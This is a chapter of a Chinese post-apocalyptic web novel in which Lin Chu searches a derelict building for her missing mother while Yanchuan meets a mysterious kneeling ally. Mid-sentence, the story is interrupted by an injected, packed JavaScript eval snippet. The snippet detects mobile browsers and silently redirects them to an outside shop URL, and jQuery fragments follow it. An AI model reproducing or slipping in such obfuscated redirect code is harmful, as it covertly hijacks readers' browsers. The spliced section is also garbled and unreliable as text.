17. 第17章
作品:《在末世遛小丧尸》 “我这老家伙,没力气搬家。死了也就死了。你们还年轻啊,别在这一块晃悠了。”
“奶奶,您也快进屋吧,我一会儿找完人就走。”
老人摇了摇头,没再说什么,转身把门锁好,提着那一摞纸盒,缓缓地朝楼下走去。
她的脚步很慢,每一步都像是在丈量自己还能走多远。
林初看着老人的背影,心里涌上一阵说不出的难受。
她看了看老人刚才出来的那扇门,那是楼层之间夹角的位置,一扇比正常门要矮小许多的旧木门。
门框上贴着褪色的春联,纸边已经卷起来了,露出下面发黄的胶痕。
她一开始根本没有注意到那里还有一扇门。
就像她一开始根本没有注意到,这个世界上有那么多她无能为力的事情。
她帮不了那个老人。
甚至,她连自己的妈妈都还没有找到。
林初不再想那些事,深吸一口气,继续顺着楼梯往上走。
她试图找到和地图图标颜色最相近的楼层。
越往上走,四周的环境越加脏乱。墙上开始出现裂纹,有些地方的墙皮整块整块地脱落,露出下面灰黑色的水泥。
楼梯扶手上积着厚厚的灰,摸上去黏腻腻的。
此时正是早上八点多,天色已经亮了起来。
但楼栋之间的间距太窄了,窄到阳光几乎照不进来。
只有几束光从缝隙中艰难地挤进来,在地面上画出几道细长的、歪歪扭扭的亮线,和黑夜也没什么区别。
楼层中每间屋子都是黑压压的。窗户玻璃几乎都碎了,只剩下参差不齐的边框。
从外面看进去,什么也看不清,只有一片浓稠的、像实体一样的黑暗。
忽的,在一间黑黢黢的屋子里,一个影子一闪而过。
彦川几乎是瞬间就捕捉到了那个身影。
他的目光锐利地射向那扇破碎的窗户,瞳孔在那一瞬间微微收缩,奇怪的是,那东西身上没有任何杀意。
影子在另一个房间的窗户后面停下来,朝彦川的方向看了一会儿—,像是在确认什么。
它又消失了。
下一秒,彦川的脑海中收到了一道“信息”。
不是语言,不是文字,更像是一种纯粹的、被压缩过的“意图”:
“跟我来。”
“有事要说。”
“关于她。”
关于林初。
彦川的心沉了一下。
他没有选择贸然离开。
他害怕这是昨晚那群人的调虎离山之计。
他只是把那个“信息”存在了脑海深处,暂时没有回应。
“妈?你在这吗?”
林初小声地喊了一句,害怕太大声会引来什么东西。
四周安安静静的,没有人回应她。
她的声音在楼道里回荡了一瞬,然后被黑暗吞没,像一颗石子扔进了无底洞。
林初绕过一个个障碍物,倒地的自行车、破旧的家具、堆满杂物的拐角——贴着窗户朝里面看。
“小心——”
林初的脚踩到一个圆滚滚的东西不知道是钢珠还是什么——整个人向后一仰。
彦川眼疾手快,一把扶住了她的手臂,稳住了她的身体。
“谢谢。”
林初心有余悸地呼出一口气。
她的心里焦急万分,只想快点找到妈妈。
但她知道,越急越容易出错。
她把脚步放慢了一些,每一步都踩实了才迈下一步。
很快,她们确认了一个又一个房间。
都不是,都不是。
走到走廊中段的时候,一扇不起眼的小窗户引起了林初的注意。
不是因为窗户本身,而是因为窗户里面的光。
那是非常微弱的光。
微弱到在白日里几乎看不见。
一盏小夜灯,在屋内的小桌上静静地亮着,发出昏黄而温暖的光像一颗孤独的星星,在黑暗中为她守着最后一点光亮。
林初的鼻子一酸。
她知道,这就是妈妈待的房间。
也许这就是母女之间的心灵感应吧。
她说不清为什么,但她就是知道。
“就是这里。”
林初没有犹豫,直接推门进去
“吱呀——”
彦川紧紧跟在她身后,顺手从地上捡起一根木棍,抵在了门后面,留出一条缝隙既能通风,又能随时观察到外面的情况。
“妈!”
林初终于控制不住这几日压抑的情绪,眼泪夺眶而出,顺着脸颊往下淌。
她原以为迎接自己的会是母亲心疼的拥抱、是温暖的怀抱、是那双从小到大给她梳了无数次头发的手。
但——
房间内空无一人。
没有人回应她。
林初扑到窗前,扑到那张椅子上。
椅子上还残留着妈妈的味道,那是她用了十几年的洗衣液的味道,淡淡的皂香,混着一点点阳光晒过棉布的味道。
她倒在椅子上,把脸埋进椅背里。
她不知道为什么。
为什么自己还是来晚了?
明明答应过妈妈的,“我一定会来救你”。
为什么又消失了?
为什么又不见了?!
林初抬起头,眼泪根本控制不住。
她不是在恨谁,她只是在后悔,在恨自己。
也许那天不犯懒,和妈妈一起出门。
事情会不会变得不一样?
她下意识地去抓腰间的香囊,把它放在鼻尖,用力地嗅着那股熟悉的味道。
她需要那一点点的安全感。
哪怕只是一点点。
忽的,她的余光扫到了旁边的桌面。
那里放着一个棕色的信封。
上面是妈妈的字迹:“林初收”
林初拿了起来。
这说明妈妈确实在这里生活过,她还给她留了东西。
她不是莫名其妙消失的。
她是……主动离开的。
林初攥紧了信封,把它贴在胸口,像是要把妈妈留下来的最后一点温度也留住。
见林初的注意力没有放在自己身上,彦川缓缓转身,退出了房间。
给林初留一个空间,也去解决一些事情。
他不敢走太远。
他就在隔壁那间空房子里,中间只隔着一堵薄薄的墙。
他可以随时感知到林初的情况,她的呼吸、她的心跳、她身上的味道,全都在他的感知范围内。
不到一分钟,一个黑影停在了他面前。
单膝跪地:“您终于出现了。”
那个声音很低,带着一种压抑了很久的、几乎要溢出来的激动:“我们……等您很久了。”
彦川没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590489|205319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说话。
他只是看着那个跪在面前的人影,眼神平静得像一潭死水。
但他的手指微微蜷缩了一下。
另一边的楼中。
林慧芬站在一扇半掩的窗户后面,透过窗帘的缝隙,看着对面的方向。
她看不到林初。
她知道她在那里。
她能感觉到,自己的女儿,就在不到五十米的地方。
她的眼眶红了,伸出手,朝着那个方向,像是想隔空摸一摸女儿的头发。
她多想冲过去。
多想抱住她。
多想告诉她:“妈妈在这里,妈妈没事,你不要哭。”
但她不能。
她的女儿已经受了太多苦。
她看不得女儿这样哭泣。
却又无可奈何。
“嫂子——”
李叔站在她身后,声音里带着心疼。
他也是从小看着林初长大的,那个扎着马尾辫、总是笑呵呵的小丫头如今哭成这样,他心里也不好受。
“你确定……不去看看小木?”
林慧芬沉默了很久。
久到李叔以为她不会回答了。
她开口了,声音很轻,轻得像是在说服自己:“我怕我去看了……就走不了了。”
她把窗帘的缝隙合上,只留下最后一条线,那一条线里,还能隐约看到对面那个房间窗户里透出来的、昏黄的灯光。
“走吧。”
她转过身,没有回头。
但她攥着窗帘的手,那只手在发抖。
一直在发抖。
直到她走出了那栋楼,走进阳光里,走进了人群中。
彦川后退了一步。
他根本不认识眼前的人,也可以说,是不记得。
见彦川一脸茫然,勒一也没想到:“你这是什么反应?”
彦川皱了皱眉,微微歪头:“你是谁?为什么要跟着我?”
勒一听到这话,一下从地上跳了起来,嘴巴张得比脑袋都大:“不是……你这是在跟我装傻,还是逗我呢?”
他“嘶”了一声,将大拇指放在嘴里轻轻咬着:“不过也是……什么时候见过你现在这样子。”
彦川眨着眼睛,打量着对方。
眉眼虽然一样,可神态却相差甚远。
“我叫勒一,你的伙伴,是来帮助你的。”勒一很快了解了情况,做了一个简单的自我介绍。
“你应该也能察觉到,我对你,还有对你那位同行的女性,并没有恶意。”
彦川下意识地看了一眼林初的方向,又向后退了一步:“我不相信你。”
自从来到这个地方后,自己的脑海中始终只有零散的记忆碎片,根本拼凑不出完整的画面,更没有一丁点关于这位突然出现的“伙伴”的信息。
除了林初之外,他谁也不信。
“我说你这人真是——”勒一恨不得跳起来给彦川来一下,但终究是没有动手,“怎么在家是死脑筋,在这也是死脑筋?怎么这么犟呢?”
“彦川。”
林初的声音从隔壁传来。
彦川根本没有听勒一后面说什么,抬脚就要往外走。
“欸——”勒一张了张嘴,又停住了,“你注意安全。”
既然他已经忘记了……就忘记了吧。
不好再记起那些沉重的东西。
就这样好好生活下去……也挺好。

